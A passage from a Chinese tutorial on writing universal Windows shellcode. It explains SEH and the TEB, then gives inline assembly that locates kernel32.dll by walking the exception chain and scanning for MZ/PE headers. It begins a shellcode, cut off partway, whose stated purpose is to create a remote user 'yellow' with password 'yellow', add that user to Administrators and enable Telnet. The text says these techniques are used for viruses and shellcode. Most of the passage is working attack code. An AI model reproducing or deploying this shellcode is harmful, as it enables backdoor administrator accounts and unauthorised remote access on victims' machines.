📄 通用shellcode深入剖析.txt
字号:
getch();
return 0;
}
这样我们就使终都可以捕获到异常了,编译,选择"Disassembly",可以看到这样的代码:
push offset __except_handler3 (00401330)
mov eax,fs:[00000000]
push eax
mov dword ptr fs:[0],esp
这是实际上是标准的SEH异常处理函数的注册方法,我们的__except(){}实际在编译时被当成一个
线程相关的异常处理函数,实际上这段代码的作用是将我们的异常处理函数加入异常处理结构链
表EXCEPTION_REGISTRATION_RECORD,fs:[0]是这个异常处理函数链表的首指针,它的最后一条记录
的节点指针指向0xffffffff.它的结构描述是这样的:
typedef struct _EXCEPTION_REGISTRATION_RECORD
{
struct _EXCEPTION_REGISTRATION_RECORD * pNext; //指向后面的节点
FARPROC pfnHandler;//指向异常处理函数
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;
你可能会问"你怎么知道fs:[0]是该结构的首指针呢?",当然我没有那么天才,从Windows 95系统程序
设计一书中可以得知每当创建一个线程,系统均会为每个线程分配TEB(Thread Environment Block)
在Windows 9x中被称为TIB(Thread Information Block),而且TEB永远放在fs段选择器指定的数据段
的0偏移处.
----------------------------------- -----------------------------
再看一下TEB的结构定义你就会明白的:
typedef struct _TIB
{
PEXCEPTION_REGISTRATION_RECORD pvExcept; // 00h Head of exception record list<=---注意这个指针成员
---------------------------------------------------------
PVOID pvStackUserTop; // 04h Top of user stack
PVOID pvStackUserBase; // 08h Base of user stack
union // 0Ch (NT/Win95 differences)
{
struct // Win95 fields
{
WORD pvTDB; // 0Ch TDB
WORD pvThunkSS; // 0Eh SS selector used for thunking to 16 bits
DWORD unknown1; // 10h
} WIN95;
struct // WinNT fields
{
PVOID SubSystemTib; // 0Ch
ULONG FiberData; // 10h
} WINNT;
} TIB_UNION1;
PVOID pvArbitrary; // 14h Available for application use
struct _tib *ptibSelf; // 18h Linear address of TIB structure
union // 1Ch (NT/Win95 differences)
{
struct // Win95 fields
{
WORD TIBFlags; // 1Ch
WORD Win16MutexCount; // 1Eh
DWORD DebugContext; // 20h
DWORD pCurrentPriority; // 24h
DWORD pvQueue; // 28h Message Queue selector
} WIN95;
struct // WinNT fields
{
DWORD unknown1; // 1Ch
DWORD processID; // 20h <=---注意这个和下面一个成员
//-------------
DWORD threadID; // 24h <=---注意这个成员
//-------------
DWORD unknown2; // 28h
} WINNT;
} TIB_UNION2;
PVOID* pvTLSArray; // 2Ch Thread Local Storage array
union // 30h (NT/Win95 differences)
{
struct // Win95 fields
{
PVOID* pProcess; // 30h Pointer to owning Process Database
} WIN95;
} TIB_UNION3;
} TIB, *PTIB;
看见了吗?TEB的第一个成员pvExcept是异常处理链首指针Head of exception record list,它相对于
TEB首地址0x00偏移处,而TEB永远放在fs段寄存器的0x00偏移处,也就是fs段寄存器的0x00偏移处.
看到我让你留意的另两个成员了吗?processID存储了当前线程属进程的ID号,threadID存储了当前线程
ID号,这样我们又可以实现两Windows API了:
//MyAPI.c
#include <stdio.h>
#include <conio.h>
#include <windows.h>
__inline __declspec(naked)DWORD GetCurrentProcessId2(void)
{
__asm
{
mov eax,fs:[0x20]//读取TEB的processID成员内容,通过eax返回
ret
}
}
__inline __declspec(naked)DWORD GetCurrentThreadId2(void)
{
__asm
{
mov eax,fs:[0x24]//读取TEB的threadID成员内容,通过eax返回
ret
}
}
//测试一下
void main(void)
{
printf("MY PID=%d\tAPI PID=%d\n",GetCurrentProcessId2(),GetCurrentProcessId());
printf("MY TID=%d\tAPI TID=%d\n",GetCurrentThreadId2(),GetCurrentThreadId());
getch();
}
程序输出:
MY PID=1448 API PID=1448
MY TID=1204 API TID=1204
注意,不同的机器,不同时刻这里输出的值可能不一样,但MY PID恒等于API PID,MY TID恒等API TID.越
来越有意思了吧!说了这么多,那么这些与获得kernel32.dll基址有什么关系吗?不要着急,继续往下看你
就会明白的!
2,通过异常处理函数链表查找kernel32.dll基地址
现在让我们来看看异常处理的顺序,它是这样的:
当一个异常发生时,系统会从fs:[0]处读取异常处理函数链表首指针,开始问所有在应用程序中注册的
异常处理函数,比如上面的"除0异常",系统会把这个异常通知我们的异常处理函数,函数识别出是"除0异常",
并给予了处理(输出了"Can not Divide by Zero!"),并告诉系统"我已经处理过了,不用再问其它函数了".
如果我们的函数不打算处理这个异常可以交给兄弟节点中异常处理函数指针指向的其它异常处理函数
处理,如果程序中注册的异常处理均不处理这个异常,那么系统将把它发送给当前调试工具,如果应用程序当
前不处在调试状态或是调试工具也不处理这个异常的话,系统将把它发送给kernel32的UnhandledExceptionFilter
函数进行处理,当然它是由程序异常处理链最后一个节点的pfnHandler(参考EXCEPTION_REGISTRATION_RECORD)
函数指针成员指向的,该节点的pNext成员将指向0xffffffff.
看了这么多有点灵感了吗?我们已经有了kernel32.dll的一个引出函数的地址了,难道还找不出它的基址
吗?看看下面的这个小程序吧!
/*
原型:unsigned int GetKernel32(void);
参数:无
返回值:
函数总是能返回Kernel32.dll的基地址
说明:根据PE可执行文件特征从UnhandledExceptionFilter函数地址向上线性查找,使用__inline是为了与
最终的ShellCode融为一体,使用__declspec(naked)是为了不让编译器自作聪明生成一些"废话",让它
完全按照我们自己的Asm语句来描述函数.
*/
#include <stdio.h>
#include <conio.h>
__inline __declspec(naked) unsigned int GetKernel32()
{
__asm
{
push esi
push ecx
mov esi,fs:0
lodsd
GetExeceptionFilter:
cmp [eax],0xffffffff
je GetedExeceptionFilter//如果到达最后一个节点(它的pfnHandler指向UnhandledExceptionFilter)
mov eax,[eax] //否则往后遍历,一直到最后一个节点
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax+4]
FindMZ:
and eax,0xffff0000 //根据PE执行文件以64k对界的特征加快查找速度
cmp word ptr [eax],'ZM' //根据PE可执行文件特征查找KERNEL32.DLL的基址
jne MoveUp //如果当前地址不符全MZ头部特征,则向上查找
mov ecx,[eax+0x3c]
add ecx,eax
cmp word ptr [ecx],'EP' //根据PE可执行文件特征查找KERNEL32.DLL的基址
je Found //如果符合MZ及PE头部特征,则认为已经找到,并通过Eax返回给调用者
MoveUp:
dec eax //准备指向下一个界起始地址
jmp FindMZ
Found:
pop ecx
pop esi
ret
}
}
void main(void)
{
printf("%0.8X\n",GetKernel32());
getch();
}
完成了本节的学习以后,你应该掌握常用于编写病毒和ShellCode的几种技术:
1,根据PE文件查找引出函数地址
2,动态计算KERNEL32.DLL的基址
3,动态装载需要的运行库及动获得需要的Windows API(s)
在最后一节里我们将对前面所分析的技术做一个综合应用,写一个简单的ShellCode
--------------------------------------------------------------------------------------------
三,综合运用
本节我们将综合前面分析的技术编写一个简单的通用ShellCode,这个ShellCode将首先在远程机器上新建一个
用户,用户名yellow,密码yellow,如果如果可能将把该用户加入Administrators用户组,如果可能还会打开Telnet
服务,请留意我的编码风格,这样风格对以后的ShellCode功能扩充提供很大方便.源程序如下:
///////////////////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include <winsock.h>
//定义API及DLL名称及其存储顺序,良好的编码风格对于以后的开发会提供很大的方便
#define APISTART 0
#define GETPROCADDRESS (APISTART+0)
#define LOADLIBRARY (APISTART+1)
#define EXITPROCESS (APISTART+2)
#define WINEXEC (APISTART+3)
#define KNLSTART (EXITPROCESS)
#define KNLEND (WINEXEC)
#define NKNLAPI (4)
#define WSOCKSTART (KNLEND+1)
#define SOCKET (WSOCKSTART+0)
#define BIND (WSOCKSTART+1)
#define CONNECT (WSOCKSTART+2)
#define ACCEPT (WSOCKSTART+3)
#define LISTEN (WSOCKSTART+4)
#define SEND (WSOCKSTART+5)
#define RECV (WSOCKSTART+6)
#define CLOSESOCKET (WSOCKSTART+7)
#define WSASTARTUP (WSOCKSTART+8)
#define WSACLEANUP (WSOCKSTART+9)
#define WSOCKEND (WSACLEANUP)
#define NWSOCKAPI (10)
//define NETAPI,RPCAPI......
#define NAPIS (NKNLAPI+NWSOCKAPI/*+NNETAPI+NRPCAPI+.......*/)
#define DLLSTART 0
#define KERNELDLL (DLLSTART+0)
#define WS2_32DLL (DLLSTART+1)
#define DLLEND (WS2_32DLL)
#define NDLLS 2
#define COMMAND_START 0
#define COMMAND_ADDUSER (COMMAND_START+0)
#define COMMAND_SETUSERADMIN (COMMAND_START+1)
#define COMMAND_OPENTLNT (COMMAND_START+2)
#define COMMAND_END (COMMAND_OPENTLNT)
#define NCMD 3
void ShellCodeFun(void)
{
DWORD ImageBase,IED,FunNameArray,PE,Count,flen,DLLS[NDLLS];
int i;
char *FuncName,*APINAMES[NAPIS],*DLLNAMES[NDLLS],*CMD[NCMD];
FARPROC API[NAPIS];
__asm
{//1,手工获得KERNEL32.DLL基址,并获得LoadLibraryA和GetProcAddress函数地址
push esi
push ecx
mov esi,fs:0
lodsd
GetExeceptionFilter:
cmp [eax],0xffffffff
je GetedExeceptionFilter
mov eax,[eax]
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax+4]
FindMZ:
and eax,0xffff0000
cmp word ptr [eax],'ZM'
jne MoveUp
mov ecx,[eax+0x3c]
add ecx,eax
cmp word ptr [ecx],'EP'
je FoundKNL
MoveUp:
dec eax
jmp FindMZ
FoundKNL:
pop ecx
pop esi
mov DLLS[KERNELDLL* type DWORD],eax
mov ImageBase,eax
call LGETPROCADDRESS
_emit 'G';
_emit 'e';
_emit 't';
_emit 'P';
_emit 'r';
_emit 'o';
_emit 'c';
_emit 'A';
_emit 'd';
_emit 'd';
_emit 'r';
_emit 'e';
_emit 's';
_emit 's';
_emit 0x00
LGETPROCADDRESS:
pop eax
mov APINAMES[GETPROCADDRESS * 4],eax
mov FuncName,eax
mov flen,0x0d
mov Count,0
call FindApi
mov API[GETPROCADDRESS *type FARPROC],eax
call LOADLIBRARYA
_emit 'L';
_emit 'o';
_emit 'a';
_emit 'd';
_emit 'L';
_emit 'i';
_emit 'b';
_emit 'r';
_emit 'a';
_emit 'r';
_emit 'y';
_emit 'A';
_emit 0x00
LOADLIBRARYA:
pop eax
mov APINAMES[LOADLIBRARY * 4],eax
mov FuncName,eax
mov flen,0x0b
mov Count,0
call FindApi
mov API[LOADLIBRARY * type FARPROC],eax
}
__asm
{
//2,填写需要的DLL名称,注意这里和上面定义的宏顺序要一样
call KERNEL32
_emit 'k';
_emit 'e';
_emit 'r';
_emit 'n';
_emit 'e';
_emit 'l';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0x00
KERNEL32:
pop DLLNAMES[KERNELDLL*4]
call WS2_32
_emit 'w';
_emit 's';
_emit '2';
_emit '_';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0x00
WS2_32:
pop DLLNAMES[WS2_32DLL * 4]
//3,填写其它需要的API名称,注意这里也要和上面定义和宏顺序一样
call LEXITPROCESS //1
_emit 'E';
_emit 'x';
_emit 'i';
_emit 't';
_emit 'P';
_emit 'r';
_emit 'o';
_emit 'c';
_emit 'e';
_emit 's';
_emit 's';
_emit 0x00
LEXITPROCESS:
pop APINAMES[EXITPROCESS * 4]
call LWINEXEC //2
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -